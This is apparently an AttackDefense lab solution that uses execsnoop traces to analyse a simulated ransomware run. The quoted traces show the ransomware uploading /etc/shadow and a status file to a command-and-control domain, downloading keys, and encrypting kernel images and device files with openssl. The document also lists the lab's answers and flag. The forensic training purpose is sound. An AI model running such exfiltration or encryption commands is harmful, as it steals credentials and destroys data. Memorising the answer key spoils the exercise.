
ATTACK
DEFENSE
by PentesterAcademy

Name	Execsnoop: Trace Analysis
URL	https://attackdefense.com/challengedetails?cid=1107
Type	Linux Runtime Analysis: Profiling Tools

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Q1. The ransomware contacts the Command-and-Control server to register and fetch the encryption keys. What is the domain name of the Command-and-Control server?

Answer: some-random-domain.dev.local

Command: less logs

```
Tracing exec()s. Ctrl-C to end.
Instrumenting sys_execve
   PID    PPID ARGS
 13628  13624 mawk -W interactive -v o=1 -v opt_name=0 -v name= [...]
 13629  13627 cat -v trace_pipe
 13632  88705 sudo python 1-execsnoop.py
 13633  13632 python 1-execsnoop.py
 13634  13633 nslookup some-random-domain.dev.local
 13635  13633 curl some-random-domain.dev.local?activate=true
 13636  13633 wget -O /root/.hidden/keys some-random-domain.dev.local/getKeys?ip=192.168.1.19
 13637  13633 curl -F data='@/etc/shadow' some-random-domain.dev.local
 13638  13633 whoami
```

Q2. What is the password used for encrypting the files?

Answer: a53d2e081e92b6cb082a2ce428929a4d

Command: less logs

```
Tracing exec()s. Ctrl-C to end.
Instrumenting sys_execve
   PID    PPID ARGS
 13628  13624 mawk -W interactive -v o=1 -v opt_name=0 -v name= [...]
 13629  13627 cat -v trace_pipe
 13632  88705 sudo python 1-execsnoop.py
 13633  13632 python 1-execsnoop.py
 13634  13633 nslookup some-random-domain.dev.local
 13635  13633 curl some-random-domain.dev.local?activate=true
 13636  13633 wget -O /root/.hidden/keys some-random-domain.dev.local/getKeys?ip=192.168.1.19
 13637  13633 curl -F data='@/etc/shadow' some-random-domain.dev.local
 13638  13633 whoami
```

```
Tracing exec()s. Ctrl-C to end.
Instrumenting sys_execve
   PID    PPID ARGS
 13628  13624 mawk -W interactive -v o=1 -v opt_name=0 -v name= [...]
 13629  13627 cat -v trace_pipe
 13632  88705 sudo python 1-execsnoop.py
 13633  13632 python 1-execsnoop.py
 13634  13633 nslookup some-random-domain.dev.local
 13635  13633 curl some-random-domain.dev.local?activate=true
 13636  13633 wget -O /root/.hidden/keys some-random-domain.dev.local/getKeys?ip=192.168.1.19
 13637  13633 curl -F data='@/etc/shadow' some-random-domain.dev.local
 13638  13633 whoami
 13639  13633 openssl enc -aes-256-cbc -salt -in /vmlinuz -out /vmlinuz.locked -pass: file:/root/.hidden/keys
 13640  13633 openssl enc -aes-256-cbc -salt -in /vmlinuz.old -out /vmlinuz.old.locked -pass: file:/root/.hidden/keys
 13641  13633 openssl enc -aes-256-cbc -salt -in /initrd.img.old -out /initrd.img.old.locked -pass: file:/root/.hidden/keys
 13642  13633 openssl enc -aes-256-cbc -salt -in /initrd.img -out /initrd.img.locked -pass: file:/root/.hidden/keys
```

The keys used for encrypting the files are stored in '/root/.hidden/keys'. Those keys are passed to openssl command for encryption.

Command: cat /root/.hidden/keys

```
root@attackdefense:~# cat /root/.hidden/keys
a53d2e081e92b6cb082a2ce428929a4d
root@attackdefense:~#
```

Q3. Which encryption scheme is used to encrypt the files?

Answer: aes-256-cbc

Command: less logs

```
Tracing exec()s. Ctrl-C to end.
Instrumenting sys_execve
   PID    PPID ARGS
 13628   13624 mawk -W interactive -v o=1 -v opt_name=0 -v name= [...]
 13629   13627 cat -v trace_pipe
 13632   88705 sudo python 1-execsnoop.py
 13633   13632 python 1-execsnoop.py
 13634   13633 nslookup some-random-domain.dev.local
 13635   13633 curl some-random-domain.dev.local?activate=true
 13636   13633 wget -O /root/.hidden/keys some-random-domain.dev.local/getKeys?ip=192.168.1.19
 13637   13633 curl -F data='@/etc/shadow' some-random-domain.dev.local
 13638   13633 whoami
 13639   13633 openssl enc -aes-256-cbc -salt -in /vmlinuz -out /vmlinuz.locked -pass: file:/root/.hidden/keys
 13640   13633 openssl enc -aes-256-cbc -salt -in /vmlinuz.old -out /vmlinuz.old.locked -pass: file:/root/.hidden/keys
 13641   13633 openssl enc -aes-256-cbc -salt -in /initrd.img.old -out /initrd.img.old.locked -pass: file:/root/.hidden/keys
 13642   13633 openssl enc -aes-256-cbc -salt -in /initrd.img -out /initrd.img.locked -pass: file:/root/.hidden/keys
```

Q4. The ransomware periodically tries to resolve the IP address of a kill-switch server. What is its domain name?

Answer: another-random-domain.dev.local

Command: less logs

```
Tracing exec()s. Ctrl-C to end.
Instrumenting sys_execve
   PID    PPID ARGS
 13628   13624 mawk -W interactive -v o=1 -v opt_name=0 -v name= [...]
 13629   13627 cat -v trace_pipe
 13632   88705 sudo python 1-execsnoop.py
 13633   13632 python 1-execsnoop.py
 13634   13633 nslookup some-random-domain.dev.local
 13635   13633 curl some-random-domain.dev.local?activate=true
 13636   13633 wget -O /root/.hidden/keys some-random-domain.dev.local/getKeys?ip=192.168.1.19
 13637   13633 curl -F data='@/etc/shadow' some-random-domain.dev.local
 13638   13633 whoami
 13639   13633 openssl enc -aes-256-cbc -salt -in /vmlinuz -out /vmlinuz.locked -pass: file:/root/.hidden/keys
 13640   13633 openssl enc -aes-256-cbc -salt -in /vmlinuz.old -out /vmlinuz.old.locked -pass: file:/root/.hidden/
 13641   13633 openssl enc -aes-256-cbc -salt -in /initrd.img.old -out /initrd.img.old.locked -pass: file:/root/.hi
 13642   13633 openssl enc -aes-256-cbc -salt -in /initrd.img -out /initrd.img.locked -pass: file:/root/.hidden/key
 13643   13633 nslookup another-random-domain.dev.local
 13644   13633 curl -F data='@/root/.invisible/status' some-random-domain.dev.local
 13645   13633 openssl enc -aes-256-cbc -salt -in /dev/vcsa7 -out /dev/vcsa7.locked -pass: file:/root/.hidden/keys
 13646   13633 openssl enc -aes-256-cbc -salt -in /dev/vcs7 -out /dev/vcs7.locked -pass: file:/root/.hidden/keys
 13647   13633 openssl enc -aes-256-cbc -salt -in /dev/dvd -out /dev/dvd.locked -pass: file:/root/.hidden/keys
 13648   13633 openssl enc -aes-256-cbc -salt -in /dev/cdrw -out /dev/cdrw.locked -pass: file:/root/.hidden/keys
 13649   13633 openssl enc -aes-256-cbc -salt -in /dev/cdrom -out /dev/cdrom.locked -pass: file:/root/.hidden/keys
```

Q5. The ransomware prepares a status report file and sends it to the Command-and-Control server. Provide the full path of the status file.

Answer: /root/.invisible/status

Command: less logs

```
Tracing exec()s. Ctrl-C to end.
Instrumenting sys_execve
   PID    PPID ARGS
 13628  13624 mawk -W interactive -v o=1 -v opt_name=0 -v name= [...]
 13629  13627 cat -v trace_pipe
 13632  88705 sudo python 1-execsnoop.py
 13633  13632 python 1-execsnoop.py
 13634  13633 nslookup some-random-domain.dev.local
 13635  13633 curl some-random-domain.dev.local?activate=true
 13636  13633 wget -O /root/.hidden/keys some-random-domain.dev.local/getKeys?ip=192.168.1.19
 13637  13633 curl -F data='@/etc/shadow' some-random-domain.dev.local
 13638  13633 whoami
 13639  13633 openssl enc -aes-256-cbc -salt -in /vmlinuz -out /vmlinuz.locked -pass: file:/root/.hidden/keys
 13640  13633 openssl enc -aes-256-cbc -salt -in /vmlinuz.old -out /vmlinuz.old.locked -pass: file:/root/.hidden/
 13641  13633 openssl enc -aes-256-cbc -salt -in /initrd.img.old -out /initrd.img.old.locked -pass: file:/root/.h
 13642  13633 openssl enc -aes-256-cbc -salt -in /initrd.img -out /initrd.img.locked -pass: file:/root/.hidden/ke
 13643  13633 nslookup another-random-domain.dev.local
 13644  13633 curl -F data='@/root/.invisible/status' some-random-domain.dev.local
 13645  13633 openssl enc -aes-256-cbc -salt -in /dev/vcsa7 -out /dev/vcsa7.locked -pass: file:/root/.hidden/keys
 13646  13633 openssl enc -aes-256-cbc -salt -in /dev/vcs7 -out /dev/vcs7.locked -pass: file:/root/.hidden/keys
 13647  13633 openssl enc -aes-256-cbc -salt -in /dev/dvd -out /dev/dvd.locked -pass: file:/root/.hidden/keys
 13648  13633 openssl enc -aes-256-cbc -salt -in /dev/cdrw -out /dev/cdrw.locked -pass: file:/root/.hidden/keys
 13649  13633 openssl enc -aes-256-cbc -salt -in /dev/cdrom -out /dev/cdrom.locked -pass: file:/root/.hidden/keys
```

Q6. Retrieve the flag kept in the status report file.

Answer: 02bf7f5ce8edca8813951916c5e26cc6

Command: cat /root/.invisible/status

```
root@attackdefense:~# cat /root/.invisible/status
-== RansomLocker Report ==-

Encryption Status:      100% complete
Completion Time:        13:00:08 UTC
HOST:                   192.168.1.19
FLAG:                   02bf7f5ce8edca8813951916c5e26cc6
root@attackdefense:~#
```

References:

1. Execsnoop script (https://github.com/iovisor/bcc/blob/master/tools/execsnoop.py)
2. Execsnoop Examples (https://github.com/iovisor/bcc/blob/master/tools/execsnoop_example.txt)
3. BCC Tools (https://github.com/iovisor/bcc)